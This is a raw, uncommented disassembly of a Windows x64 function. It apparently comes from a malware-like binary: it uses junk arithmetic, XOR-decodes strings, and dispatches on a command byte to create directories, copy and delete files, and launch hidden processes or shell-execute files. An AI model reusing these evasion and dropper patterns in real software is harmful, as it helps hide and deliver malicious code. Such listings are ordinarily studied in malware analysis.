imul eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x50]
imul eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x54]
shl eax, cl
mov dword [rsp + 0x5c], eax
mov dword [rsp + 0x54], 0x7c17
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x54]
add eax, dword [rsp + 0x5c]
sub eax, dword [rsp + 0x5c]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x58], eax
mov r9d, dword [rsp + 0x5c]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateDCA]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x50]
imul ecx, dword [rsp + 0x5c], 0x14195
mov edx, dword [rsp + 0x54]
add edx, ecx
mov ecx, edx
sar eax, cl
mov dword [rsp + 0x54], eax
lea rcx, str.receives
call fcn.1400011a0
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x58]
mov eax, edx
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
sar eax, cl
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
lea ecx, [rcx + rdx - 0x165f1]
and eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [0x140037c2c]
cmp dword [rsp + 0x58], eax
jg 0x140010eae
jmp 0x140010e59
mov eax, dword [0x140037ae4]
cmp dword [rsp + 0x5c], eax
jge 0x140010e4c
mov ecx, dword [rsp + 0x54]
call fcn.140001a40
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5c]
mov edx, dword [rsp + 0x58]
add edx, ecx
mov ecx, edx
or eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [0x140037bc4]
mov dword [rsp + 0xa0], eax
jmp 0x140010fd4
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0xa0], eax
jg 0x14001105c
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
lea eax, [rax + rcx + 0x12b26]
mov dword [rsp + 0xf0], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x5c]
mov eax, edx
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
movzx ecx, al
mov eax, dword [rsp + 0xf0]
shl eax, cl
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x58]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
imul eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
add eax, dword [rsp + 0x54]
mov dword [rsp + 0x58], eax
jmp 0x140010fc4
jmp 0x140010c90
mov eax, dword [rsp + 0xb8]
inc eax
xor edx, edx
div dword [rsp + 0x74]
mov eax, edx
mov dword [rsp + 0xb8], eax
jmp 0x140010249
mov dword [rsp + 0x230], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x230]
mov r8d, dword [rsp + 0x22c]
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x138]
call qword [0x14003b310]
test eax, eax
je 0x1400110cc
mov eax, dword [rsp + 0x22c]
cmp dword [rsp + 0x230], eax
je 0x1400110ce
jmp 0x1400110d3
jmp 0x1400101ea
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0xd8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2c8]
mov rcx, qword [rsp + 0x78]
call qword [0x14003b2c8]
movzx eax, byte [rsp + 0x224]
cmp eax, 2
jne 0x1400113ca
lea r8, str._Start
mov edx, 0x104
lea rcx, [rsp + 0x3f0]
call fcn.14001de94
lea rax, [rsp + 0x61]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x61]
call fcn.1400116d0
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xd0], 0
jmp 0x14001119a
mov rax, qword [rsp + 0xd0]
inc rax
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0xd0], 0xc
jae 0x140011217
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xd0]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x188]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe8]
movsx ecx, byte [rcx]
xor eax, ecx
mov word [rsp + 0x9c], ax
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xd0]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
movzx ecx, word [rsp + 0x9c]
mov word [rax], cx
jmp 0x140011187
mov eax, 0xc
imul rax, rax, 2
mov rcx, qword [rsp + 0xe8]
lea rax, [rcx + rax + 2]
mov qword [rsp + 0x198], rax
xor eax, eax
mov rcx, qword [rsp + 0x198]
mov word [rcx], ax
mov rax, qword [rsp + 0xe8]
add rax, 2
mov qword [rsp + 0x1b8], rax
mov byte [rsp + 0x88], 0x40
lea rax, [rsp + 0x89]
lea rax, [rsp + 0x89]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0xf
mov word [rsp + 0x8a], ax
mov eax, 0x10
mov word [rsp + 0x8c], ax
mov eax, 5
mov word [rsp + 0x8e], ax
mov eax, 0xe
mov word [rsp + 0x90], ax
xor eax, eax
mov word [rsp + 0x92], ax
mov qword [rsp + 0xc8], 0
jmp 0x1400112d9
mov rax, qword [rsp + 0xc8]
inc rax
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 4
jae 0x140011346
mov rax, qword [rsp + 0xc8]
lea rax, [rsp + rax*2 + 0x8a]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
movzx eax, word [rax]
movsx ecx, byte [rsp + 0x88]
xor eax, ecx
mov word [rsp + 0x9e], ax
mov rax, qword [rsp + 0xc8]
lea rax, [rsp + rax*2 + 0x8a]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1a8]
movzx ecx, word [rsp + 0x9e]
mov word [rax], cx
jmp 0x1400112c6
mov eax, 4
imul rax, rax, 2
lea rax, [rsp + rax + 0x8a]
mov qword [rsp + 0x1b0], rax
xor eax, eax
mov rcx, qword [rsp + 0x1b0]
mov word [rcx], ax
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x1c0], rax
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3f0]
mov r8, qword [rsp + 0x1b8]
mov rdx, qword [rsp + 0x1c0]
mov rcx, rax
call qword [0x14003b308]
mov dword [rsp + 0x148], eax
mov eax, 1
jmp 0x140011632
movzx eax, byte [rsp + 0x224]
cmp eax, 0xd
jne 0x14001149e
mov qword [rsp + 0x1e8], 0
lea rax, [rsp + 0x600]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [0x14003b2e0]
lea r8, [0x1400341c0]
mov edx, 0x104
lea rcx, [rsp + 0x600]
call fcn.14001de94
mov edx, 5
lea rcx, [rsp + 0x2d0]
call fcn.14000ec60
lea r8, [rsp + 0x2d0]
mov edx, 0x104
lea rcx, [rsp + 0x600]
call fcn.14001de94
xor edx, edx
lea rcx, [rsp + 0x600]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0x3f0]
call fcn.140012250
lea rcx, [rsp + 0x600]
call fcn.140012670
lea rcx, [rsp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
jmp 0x140011632
movzx eax, byte [rsp + 0x224]
cmp eax, 8
jne 0x1400115a3
lea rax, [rsp + 0x260]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x260], 0x68
lea rax, [rsp + 0x240]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r8d, 4
mov edx, 0x23
lea rcx, [0x140037b10]
call fcn.14000c0b0
mov qword [rsp + 0x1c8], rax
mov r8, qword [rsp + 0x1c8]
mov edx, 0x200
lea rcx, [rsp + 0xc30]
call fcn.14001de94
lea r8, [rsp + 0x3f0]
mov edx, 0x200
lea rcx, [rsp + 0xc30]
call fcn.14001de94
lea rax, [rsp + 0x240]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xc30]
xor ecx, ecx
call qword [0x14003b2e8]
test eax, eax
jne 0x140011594
xor eax, eax
jmp 0x140011632
mov eax, 1
jmp 0x140011632
mov r8d, 4
mov edx, 0xd
lea rcx, [0x140037c30]
call fcn.14000c0b0
mov qword [rsp + 0x1d0], rax
mov r8d, 4
mov edx, 5
lea rcx, [0x140037b78]
call fcn.14000c0b0
mov qword [rsp + 0x1d8], rax
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3f0]
mov rcx, qword [rsp + 0x1d0]
mov r8, rcx
mov rcx, qword [rsp + 0x1d8]
mov rdx, rcx
mov rcx, rax
call qword [0x14003b308]
mov dword [rsp + 0x1e0], eax
mov eax, 1
jmp 0x140011632
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.140014c70
add rsp, 0x1040
pop rdi
ret